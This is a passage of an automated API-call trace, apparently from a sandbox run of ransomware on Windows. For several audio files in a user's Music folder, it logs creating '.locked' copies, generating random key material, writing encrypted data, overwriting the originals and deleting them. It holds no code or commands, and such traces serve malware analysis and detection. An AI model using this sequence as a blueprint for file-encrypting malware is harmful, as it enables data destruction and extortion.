	[0076.881] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x0, lpOverlapped=0x0) returned 1
	[0076.881] CloseHandle (hObject=0xc4) returned 1
	[0076.881] CloseHandle (hObject=0xc0) returned 1
	[0076.881] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.882] SetEvent (hEvent=0x80) returned 1
	[0076.882] SetEvent (hEvent=0x8c) returned 1
	[0076.882] SetEvent (hEvent=0xb4) returned 1
	[0076.882] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.882] SetEvent (hEvent=0xa8) returned 1
	[0076.882] SetEvent (hEvent=0xb4) returned 1
	[0076.882] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123f2000*, nNumberOfCharsToWrite=0x66, lpNumberOfCharsWritten=0x127ee710, lpReserved=0x0 | out: lpBuffer=0x123f2000*, lpNumberOfCharsWritten=0x127ee710*=0x66) returned 1
	[0076.884] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\KFdOG YU1A.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\kfdog yu1a.wav")) returned 1
	[0076.902] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.902] SetEvent (hEvent=0xa8) returned 1
	[0076.902] SetEvent (hEvent=0x8c) returned 1
	[0076.906] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.907] SetEvent (hEvent=0x8c) returned 1
	[0076.907] SetEvent (hEvent=0xb4) returned 1
	[0076.907] SetEvent (hEvent=0x80) returned 1
	[0076.907] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.907] SetEvent (hEvent=0x80) returned 1
	[0076.909] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.909] SetEvent (hEvent=0x80) returned 1
	[0076.909] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.910] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.910] SetEvent (hEvent=0x80) returned 1
	[0076.910] SetEvent (hEvent=0xb4) returned 1
	[0076.910] SetEvent (hEvent=0x8c) returned 1
	[0076.910] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.910] SetEvent (hEvent=0x8c) returned 1
	[0076.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\KFdOG YU1A.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\kfdog yu1a.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.911] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb6c | out: lpMode=0x127eeb6c) returned 0
	[0076.911] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eeb5c, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eeb5c*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.927] CloseHandle (hObject=0xc0) returned 1
	[0076.927] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\KFdOG YU1A.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\kfdog yu1a.wav")) returned 1
	[0076.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\LHQ_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\lhq_.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93c38920, ftCreationTime.dwHighDateTime=0x1d4c8dd, ftLastAccessTime.dwLowDateTime=0xf4346520, ftLastAccessTime.dwHighDateTime=0x1d4cfe2, ftLastWriteTime.dwLowDateTime=0xf4346520, ftLastWriteTime.dwHighDateTime=0x1d4cfe2, nFileSizeHigh=0x0, nFileSizeLow=0x8bfd)) returned 1
	[0076.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\LHQ_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\lhq_.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.931] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0076.932] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\LHQ_.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\lhq_.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.932] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0076.933] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3c0 | out: pbBuffer=0x1238c3c0) returned 1
	[0076.933] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796130 | out: pbBuffer=0x12796130) returned 1
	[0076.933] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.933] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eea5c, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eea5c*=0x80, lpOverlapped=0x0) returned 1
	[0076.935] SetEvent (hEvent=0xb4) returned 1
	[0076.935] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x8bfd, lpOverlapped=0x0) returned 1
	[0076.936] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x8bfd, lpNumberOfBytesWritten=0x127eea58, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eea58*=0x8bfd, lpOverlapped=0x0) returned 1
	[0076.937] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x0, lpOverlapped=0x0) returned 1
	[0076.937] CloseHandle (hObject=0xc4) returned 1
	[0076.937] CloseHandle (hObject=0xc0) returned 1
	[0076.938] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.938] SetEvent (hEvent=0xb4) returned 1
	[0076.938] SetEvent (hEvent=0x8c) returned 1
	[0076.938] SetEvent (hEvent=0x80) returned 1
	[0076.938] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.939] SetEvent (hEvent=0xa8) returned 1
	[0076.939] SetEvent (hEvent=0x80) returned 1
	[0076.939] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x60, lpNumberOfCharsWritten=0x127ee710, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee710*=0x60) returned 1
	[0076.940] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\LHQ_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\lhq_.wav")) returned 1
	[0076.958] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.958] SetEvent (hEvent=0xa8) returned 1
	[0076.958] SetEvent (hEvent=0x8c) returned 1
	[0076.963] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.963] SetEvent (hEvent=0x8c) returned 1
	[0076.963] SetEvent (hEvent=0x80) returned 1
	[0076.963] SetEvent (hEvent=0xb4) returned 1
	[0076.963] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.963] SetEvent (hEvent=0xb4) returned 1
	[0076.965] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.965] SetEvent (hEvent=0xb4) returned 1
	[0076.965] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.966] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.966] SetEvent (hEvent=0xb4) returned 1
	[0076.966] SetEvent (hEvent=0x80) returned 1
	[0076.966] SetEvent (hEvent=0x8c) returned 1
	[0076.966] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.966] SetEvent (hEvent=0x8c) returned 1
	[0076.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\LHQ_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\lhq_.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.967] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb6c | out: lpMode=0x127eeb6c) returned 0
	[0076.967] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eeb5c, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eeb5c*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.983] CloseHandle (hObject=0xc0) returned 1
	[0076.983] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\LHQ_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\lhq_.wav")) returned 1
	[0076.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\TS5-y5c0kVk2a6a2FXp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ts5-y5c0kvk2a6a2fxp.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e7cee0, ftCreationTime.dwHighDateTime=0x1d4cbed, ftLastAccessTime.dwLowDateTime=0xc59bc350, ftLastAccessTime.dwHighDateTime=0x1d4c567, ftLastWriteTime.dwLowDateTime=0xc59bc350, ftLastWriteTime.dwHighDateTime=0x1d4c567, nFileSizeHigh=0x0, nFileSizeLow=0xdf8a)) returned 1
	[0076.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\TS5-y5c0kVk2a6a2FXp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ts5-y5c0kvk2a6a2fxp.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.987] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0076.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\TS5-y5c0kVk2a6a2FXp.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ts5-y5c0kvk2a6a2fxp.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.987] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0076.988] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3c0 | out: pbBuffer=0x1238c3c0) returned 1
	[0076.988] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796130 | out: pbBuffer=0x12796130) returned 1
	[0076.988] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0076.988] WriteFile (in: hFile=0xc4, lpBuffer=0x1279b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eea5c, lpOverlapped=0x0 | out: lpBuffer=0x1279b000*, lpNumberOfBytesWritten=0x127eea5c*=0x80, lpOverlapped=0x0) returned 1
	[0076.990] SetEvent (hEvent=0x80) returned 1
	[0076.990] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0xdf8a, lpOverlapped=0x0) returned 1
	[0076.992] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xdf8a, lpNumberOfBytesWritten=0x127eea58, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eea58*=0xdf8a, lpOverlapped=0x0) returned 1
	[0076.993] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x0, lpOverlapped=0x0) returned 1
	[0076.993] CloseHandle (hObject=0xc4) returned 1
	[0076.993] CloseHandle (hObject=0xc0) returned 1
	[0076.993] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0076.994] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.994] SetEvent (hEvent=0x80) returned 1
	[0076.994] SetEvent (hEvent=0x8c) returned 1
	[0076.994] SetEvent (hEvent=0xb4) returned 1
	[0076.994] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.994] SetEvent (hEvent=0xb4) returned 1
	[0076.994] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x6f, lpNumberOfCharsWritten=0x127ee710, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee710*=0x6f) returned 1
	[0076.996] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\TS5-y5c0kVk2a6a2FXp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ts5-y5c0kvk2a6a2fxp.mp3")) returned 1
	[0077.014] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.015] SetEvent (hEvent=0xa8) returned 1
	[0077.015] SetEvent (hEvent=0x8c) returned 1
	[0077.019] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.019] SetEvent (hEvent=0x8c) returned 1
	[0077.020] SetEvent (hEvent=0xb4) returned 1
	[0077.020] SetEvent (hEvent=0x80) returned 1
	[0077.020] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.020] SetEvent (hEvent=0x80) returned 1
	[0077.021] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.022] SetEvent (hEvent=0x80) returned 1
	[0077.022] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.022] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.022] SetEvent (hEvent=0x80) returned 1
	[0077.022] SetEvent (hEvent=0xb4) returned 1
	[0077.023] SetEvent (hEvent=0x8c) returned 1
	[0077.023] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.023] SetEvent (hEvent=0x8c) returned 1
	[0077.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\TS5-y5c0kVk2a6a2FXp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ts5-y5c0kvk2a6a2fxp.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.023] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb6c | out: lpMode=0x127eeb6c) returned 0
	[0077.024] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eeb5c, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eeb5c*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.041] CloseHandle (hObject=0xc0) returned 1
	[0077.041] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\TS5-y5c0kVk2a6a2FXp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\ts5-y5c0kvk2a6a2fxp.mp3")) returned 1
	[0077.044] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\_ah8_aG2wGS0sIoarvQg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\_ah8_ag2wgs0sioarvqg.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb519c240, ftCreationTime.dwHighDateTime=0x1d4ccb8, ftLastAccessTime.dwLowDateTime=0x14590070, ftLastAccessTime.dwHighDateTime=0x1d4ca18, ftLastWriteTime.dwLowDateTime=0x14590070, ftLastWriteTime.dwHighDateTime=0x1d4ca18, nFileSizeHigh=0x0, nFileSizeLow=0x4a61)) returned 1
	[0077.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\_ah8_aG2wGS0sIoarvQg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\_ah8_ag2wgs0sioarvqg.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.045] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0077.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\_ah8_aG2wGS0sIoarvQg.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\_ah8_ag2wgs0sioarvqg.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.045] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eea80 | out: lpMode=0x127eea80) returned 0
	[0077.045] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3c0 | out: pbBuffer=0x1238c3c0) returned 1
	[0077.045] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796130 | out: pbBuffer=0x12796130) returned 1
	[0077.045] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0077.046] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eea5c, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eea5c*=0x80, lpOverlapped=0x0) returned 1
	[0077.048] SetEvent (hEvent=0xb4) returned 1
	[0077.048] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x4a61, lpOverlapped=0x0) returned 1
	[0077.049] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x4a61, lpNumberOfBytesWritten=0x127eea58, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eea58*=0x4a61, lpOverlapped=0x0) returned 1
	[0077.050] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eea4c, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eea4c*=0x0, lpOverlapped=0x0) returned 1
	[0077.050] CloseHandle (hObject=0xc4) returned 1
	[0077.050] CloseHandle (hObject=0xc0) returned 1
	[0077.050] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0077.051] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.051] SetEvent (hEvent=0xb4) returned 1
	[0077.051] SetEvent (hEvent=0x8c) returned 1
	[0077.051] SetEvent (hEvent=0x80) returned 1
	[0077.051] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.051] SetEvent (hEvent=0x80) returned 1
	[0077.051] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126f4000*, nNumberOfCharsToWrite=0x70, lpNumberOfCharsWritten=0x127ee710, lpReserved=0x0 | out: lpBuffer=0x126f4000*, lpNumberOfCharsWritten=0x127ee710*=0x70) returned 1
	[0077.053] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\_ah8_aG2wGS0sIoarvQg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\_ah8_ag2wgs0sioarvqg.wav")) returned 1
	[0077.071] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.071] SetEvent (hEvent=0xa8) returned 1
	[0077.071] SetEvent (hEvent=0x8c) returned 1
	[0077.092] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.093] SetEvent (hEvent=0x8c) returned 1
	[0077.093] SetEvent (hEvent=0x80) returned 1
	[0077.093] SetEvent (hEvent=0xb4) returned 1
	[0077.093] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.093] SetEvent (hEvent=0xb4) returned 1
	[0077.095] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.095] SetEvent (hEvent=0xb4) returned 1
	[0077.095] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.095] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.096] SetEvent (hEvent=0xb4) returned 1
	[0077.096] SetEvent (hEvent=0x80) returned 1
	[0077.096] SetEvent (hEvent=0x8c) returned 1
	[0077.096] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.096] SetEvent (hEvent=0x8c) returned 1
	[0077.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\_ah8_aG2wGS0sIoarvQg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\_ah8_ag2wgs0sioarvqg.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.099] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb6c | out: lpMode=0x127eeb6c) returned 0
	[0077.099] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eeb5c, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eeb5c*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.115] CloseHandle (hObject=0xc0) returned 1
	[0077.115] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dlez1\\gLDnq5k8FqlCxMD\\_ah8_aG2wGS0sIoarvQg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dlez1\\gldnq5k8fqlcxmd\\_ah8_ag2wgs0sioarvqg.wav")) returned 1
